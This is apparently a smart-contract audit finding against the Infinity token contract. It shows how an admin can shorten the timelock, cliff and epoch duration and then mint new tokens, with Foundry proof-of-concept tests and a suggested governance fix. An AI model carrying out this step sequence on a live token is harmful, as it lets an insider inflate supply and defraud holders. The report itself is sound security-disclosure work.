Infinity NFT Marketplace contest - cloudjunky's results

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/token/InfinityToken.sol#L60

Vulnerability details

Impact

The Admin/Owner of the Infinity Token contract can control a number of administrative variables that can ensure they can advanceEpoch() and mint themselves (as the admin/owner) new tokens. This also doesn't require the timelock to be set to 30 days when the attack is performed.

Proof of Concept

1. The current Admin/Owner calls requestChange() setting the configId to keccak256('Timelock') and the value to 1.
2. The Admin waits 30 days for the initial timelock setting to expire.
3. Anyone (admin or not) can then call confirmChange() specfying the configId of keccak256('Timelock') and the timelock will now be set to 1 second.
4. The current Admin/Owner calls requestChange() setting the configId to keccak256('Cliff') and the value to 1.
5. Anyone (admin or not) can then call confirmChange() specfying the configId of keccak256('Cliff') and the cliff will now be set to 1.
6. The current Admin/Owner calls requestChange() setting the configId to keccak256('EpochDuration') and the value to 1.
7. Anyone (admin or not) can then call confirmChange() specfying the configId of keccak256('EpochDuration') and the epoch duration will now be set to 1.

Note: I haven't chosen the optimal numbers here. All I am demonstrating is that when you control all these variables essential to governance you can change the timelock, wait for it to thaw, modify other governance variables quickly, mint new supply and then rug pull.

A foundry test case demonstrates this;

   function testOwnerZero() public {
        // Set the ADMIN variable similar to the TimeLockConfig.sol code
        bytes32 ADMIN = keccak256('Admin');

        // As the current admin let's set the new admin to address(0)
        vm.prank(address(1337));
        infToken.requestChange(ADMIN, uint256(uint160(address(0))));

        // Let's fast forward past the timelock and confirm the change.
        vm.warp(block.timestamp + 2592000);
        infToken.confirmChange(ADMIN);
        assertEq(infToken.getAdmin(), address(0));
    }

        function testRugPull() public {
        // Set the ADMIN variable similar to the TimeLockConfig.sol code
        bytes32 C_TIMELOCK = keccak256('Timelock');
        bytes32 C_EPOCH_CLIFF = keccak256('Cliff');
        bytes32 C_EPOCH_DURATION = keccak256('EpochDuration');
        uint timestamp = block.timestamp;

        // Change the timelock window so that once it expires we can inflate supply
        // mint new token supply and then sell them as fast as possible.

        // Check we have the right admin address.
        assertEq(address(1337), infToken.getAdmin());
        // As the current admin request a change to the timelock
        vm.prank(address(1337));
        infToken.requestChange(C_TIMELOCK, uint256(1));
        // Let's fast forward 30 days and apply the change then immediately rug pull.
        vm.warp(timestamp += 2592000);
        // Confirm the change from any address.
        infToken.confirmChange(C_TIMELOCK);


        // As the current admin let's set the new admin to address(0)
        vm.startPrank(address(1337));
        infToken.requestChange(C_EPOCH_CLIFF, 1);
        infToken.requestChange(C_EPOCH_DURATION, 1);
        vm.stopPrank();

        // Let's fast forward past the timelock and confirm the change.
        vm.warp(timestamp += 1);
        infToken.confirmChange(C_EPOCH_CLIFF);
        infToken.confirmChange(C_EPOCH_DURATION);
        assertEq(infToken.getCliff(), 1);
        assertEq(infToken.getEpochDuration(), 1);

        // advanceEpoch will mint the admin/owner new tokens.
        infToken.advanceEpoch();
    }

Tools Used

Vim / Foundy

Recommended Mitigation Steps

The governance model should be restructured to ensure there is either a two key system where governance changes are proposed by one address and then accepted by another or some of the key governance variables can only be modified by one entity and others by another.

Having all variables configurable by an administrator and not defined as immutable and passed to the constructor at contract creation creates a risky governance model that can be rug pulled.